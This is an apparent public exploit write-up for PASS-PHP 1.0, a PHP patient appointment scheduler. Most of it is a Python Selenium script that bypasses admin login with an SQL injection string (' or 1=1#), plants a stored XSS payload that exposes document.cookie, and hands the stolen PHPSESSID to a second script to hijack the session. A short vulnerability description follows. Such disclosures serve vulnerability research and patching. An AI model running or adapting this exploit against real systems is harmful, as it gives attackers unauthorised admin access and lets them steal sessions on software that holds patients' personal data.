PASS-PHP 1.0 SQL Injection / Cross Site Scripting Exploit

### Exploit Title: PASS-PHP (by: oretnom23 ) v1.0 is vulnerable to
remote SqL-Injection bypass Authentication, XSS-Stored and PHPSESSID
Hijacking.
### Author: nu11secur1ty
### Testing and Debugging: nu11secur1ty
### Date: 09.24.2021
### Vendor: https://www.sourcecodester.com/user/257130/activity
### Link: https://www.sourcecodester.com/php/14928/patient-appointment-scheduler-system-using-php-free-source-code.html
### CVE: CVE-nu11-06-092421

[+] Exploit Source:

#!/usr/bin/python3
# Author: @nu11secur1ty
# Debug and Developement: @nu11secur1ty
# CVE-nu11-06-092421

from selenium import webdriver
import time
import os
from colorama import init, Fore, Back, Style
init(convert=True)
import requests


#enter the link to the website you want to automate login.
website_link="http://localhost/scheduler/admin/login.php"

#enter your login username
username="nu11secur1ty' or 1=1#"

#enter your login password
password="nu11secur1ty' or 1=1#"

#enter the element for username input field
element_for_username="username"
#enter the element for password input field
element_for_password="password"

browser = webdriver.Chrome()
browser.get((website_link))  

try:
  username_element = browser.find_element_by_name(element_for_username)
  username_element.send_keys(username)    
  password_element  = browser.find_element_by_name(element_for_password)
  password_element.send_keys(password)
  browser.maximize_window()
  time.sleep(1)
  browser.execute_script("document.querySelector('[class=\"btn
btn-primary btn-block\"]').click()")
  
  time.sleep(1)
  exploit_link="http://localhost/scheduler/admin/?page=user/manage_user"
  browser.get((exploit_link))
  
  time.sleep(3)
  browser.execute_script("document.querySelector('[name=\"firstname\"]').value=\"<script>alert(document.cookie)</script>\"")
  browser.execute_script("document.querySelector('[name=\"lastname\"]').value=\"<script>alert(document.cookie)</script>\"")
  browser.execute_script("document.querySelector('[name=\"username\"]').value=\"PWNED_\"")
  browser.execute_script("document.querySelector('[name=\"password\"]').value=\"tralala_\"")
  time.sleep(1)
  browser.execute_script("document.querySelector('[class=\"btn btn-sm
btn-primary mr-2\"]').click()")
  
  coockie=browser.execute_script("return document.cookie")
  coockie=coockie.split("=")[1]
  print(coockie)
  browser.close()
  
  print(Fore.YELLOW +"Please wait for PoC to hijacking the PHPSESSID...\n")
  print(Style.RESET_ALL)
  time.sleep(7)
  os.system("python PWNPHPSESSID.py " + coockie)
  
  print(Fore.GREEN +"The payload for CVE-nu11-06 is deployed your admin
account is PWNED...\n")
  print(Fore.RED +"Your Cookie: PHPSESSID is hijacked and we have
another bypass login...\n")
  print(Style.RESET_ALL)
  
except Exception:
  #### This exception occurs if the element are not found in the webpage.
  print("Some error occured :(")


------------------------------------------------------------------

### Description:
The PASS-PHP (by: oretnom23 ) v1.0 is vulnerable to remote
SqL-Injection bypass Authentication, XSS-Stored and PHPSESSID
Hijacking.
The vulnerable app: to remote SqL - injection bypass Authentication is
"login.php", with parameters: "username" and "password".
After the successful PWNED of the credentials for the admin account,
the malicious user can be storing an XSS payload, whit who can take
the active PHPSESSID
every time when he wants to log in to the system with an admin account
by using this exploit.